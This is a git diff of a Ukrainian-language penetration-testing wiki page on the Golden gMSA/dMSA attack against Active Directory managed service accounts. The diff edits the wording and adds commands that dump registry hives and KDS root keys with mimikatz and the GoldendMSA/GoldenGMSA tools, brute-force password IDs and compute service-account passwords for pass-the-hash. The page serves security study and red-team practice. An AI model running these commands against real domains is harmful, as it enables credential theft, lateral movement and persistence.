diff --git a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md index 6e0892e4a..ca10ca6bb 100644 --- a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md +++ b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md @@ -4,7 +4,7 @@ ## Огляд -Керовані облікові записи сервісів Windows (MSA) – це спеціальні принципи, призначені для запуску сервісів без необхідності вручну керувати їх паролями. Існує два основних типи: +Керовані облікові записи сервісів Windows (MSA) – це спеціальні принципи, призначені для запуску сервісів без необхідності вручну керувати їх паролями. Є два основних варіанти: 1. **gMSA** – груповий керований обліковий запис сервісу – може використовуватися на кількох хостах, які авторизовані в його атрибуті `msDS-GroupMSAMembership`. 2. **dMSA** – делегований керований обліковий запис сервісу – (попередній перегляд) наступник gMSA, що спирається на ту ж криптографію, але дозволяє більш детальні сценарії делегування. @@ -15,13 +15,12 @@ * Цільового облікового запису **SID**. * Переконаним **ManagedPasswordID** (GUID), знайденим в атрибуті `msDS-ManagedPasswordId`. -Виведення виглядає так: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 байт блоб, який в кінці **base64-кодується** і зберігається в атрибуті `msDS-ManagedPassword`. Ніякий трафік Kerberos або взаємодія з доменом не потрібні під час звичайного використання пароля – член хоста виводить пароль локально, якщо знає три вхідні дані. +Виведення: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 байт блоб, який в кінцевому підсумку **base64-кодується** і зберігається в атрибуті `msDS-ManagedPassword`. Ніякий трафік Kerberos або взаємодія з доменом не потрібні під час звичайного використання пароля – член хоста виводить пароль локально, якщо знає три вхідні дані. ## Golden gMSA / Golden dMSA Attack Якщо зловмисник може отримати всі три вхідні дані **офлайн**, він може обчислити **дійсні поточні та майбутні паролі** для **будь-якого gMSA/dMSA в лісі**, не торкаючись DC знову, обходячи: -* Логи попередньої аутентифікації Kerberos / запитів квитків * Аудит читання LDAP * Інтервали зміни паролів (вони можуть попередньо обчислити) @@ -29,13 +28,14 @@ ### Передумови -1. **Компрометація на рівні лісу** **одного DC** (або Enterprise Admin). Доступ `SYSTEM` достатній. +1. **Компрометація на рівні лісу** **одного DC** (або Enterprise Admin), або доступ `SYSTEM` до одного з DC в лісі. 2. Можливість перерахувати облікові записи сервісів (читання LDAP / брутфорс RID). 3. Робоча станція .NET ≥ 4.7.2 x64 для запуску [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) або еквівалентного коду. -### Фаза 1 – Витяг KDS Root Key +### Golden gMSA / dMSA +##### Фаза 1 – Витяг KDS Root Key -Витяг з будь-якого DC (Тіньове копіювання томів / сирі хаби SAM+SECURITY або віддалені секрети): +Вивантаження з будь-якого DC (Копія тіньового тому / сирі хаби SAM+SECURITY або віддалені секрети): ```cmd reg save HKLM\SECURITY security.hive reg save HKLM\SYSTEM system.hive @@ -43,16 +43,25 @@ reg save HKLM\SYSTEM system.hive # With mimikatz on the DC / offline mimikatz # lsadump::secrets mimikatz # lsadump::trust /patch # shows KDS root keys too + +# With GoldendMSA +GoldendMSA.exe kds --domain # query KDS root keys from a DC in the forest +GoldendMSA.exe kds + +# With GoldenGMSA +GoldenGMSA.exe kdsinfo ``` Базовий рядок base64 з міткою `RootKey` (ім'я GUID) потрібен на наступних етапах. -### Фаза 2 – Перерахування об'єктів gMSA/dMSA +##### Фаза 2 – Перерахування об'єктів gMSA / dMSA Отримайте принаймні `sAMAccountName`, `objectSid` та `msDS-ManagedPasswordId`: ```powershell # Authenticated or anonymous depending on ACLs Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ Select sAMAccountName,objectSid,msDS-ManagedPasswordId + +GoldenGMSA.exe gmsainfo ``` [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) реалізує допоміжні режими: ```powershell @@ -62,10 +71,10 @@ GoldendMSA.exe info -d example.local -m ldap # RID brute force if anonymous binds are blocked GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd ``` -### Фаза 3 – Вгадати / Виявити ManagedPasswordID (коли відсутній) +##### Фаза 3 – Вгадати / Виявити ManagedPasswordID (коли відсутній) Деякі розгортання *видаляють* `msDS-ManagedPasswordId` з ACL-захищених читань. -Оскільки GUID має 128 біт, наївний брутфорс є недоцільним, але: +Оскільки GUID є 128-бітним, наївний брутфорс є недоцільним, але: 1. Перші **32 біти = Unix epoch time** створення облікового запису (з роздільною здатністю в хвилинах). 2. За ними слідують 96 випадкових бітів. @@ -76,15 +85,13 @@ GoldendMSA.exe wordlist -s -d example.local -f example.local -k -k -d example.local -m - -# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket -GoldendMSA.exe convert -d example.local -u svc_web$ -p +GoldendMSA.exe compute -s -k -d example.local -m -i +GoldenGMSA.exe compute --sid --kdskey --pwdid ``` Отримані хеші можуть бути інжектовані за допомогою **mimikatz** (`sekurlsa::pth`) або **Rubeus** для зловживання Kerberos, що дозволяє здійснювати прихований **бічний рух** та **постійність**. @@ -99,13 +106,15 @@ GoldendMSA.exe convert -d example.local -u svc_web$ -p ## Інструменти * [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – реалізація посилання, використана на цій сторінці. +* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – реалізація посилання, використана на цій сторінці. * [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. * [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket з використанням похідних AES ключів. ## Посилання - [Golden dMSA – обхід аутентифікації для делегованих облікових записів керованих служб](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) +- [gMSA Атаки Active Directory на облікові записи](https://www.semperis.com/blog/golden-gmsa-attack/) - [Репозиторій Semperis/GoldenDMSA на GitHub](https://github.com/Semperis/GoldenDMSA) -- [Improsec – атака на довіру Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) +- [Improsec – атака довіри Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) {{#include ../../banners/hacktricks-training.md}}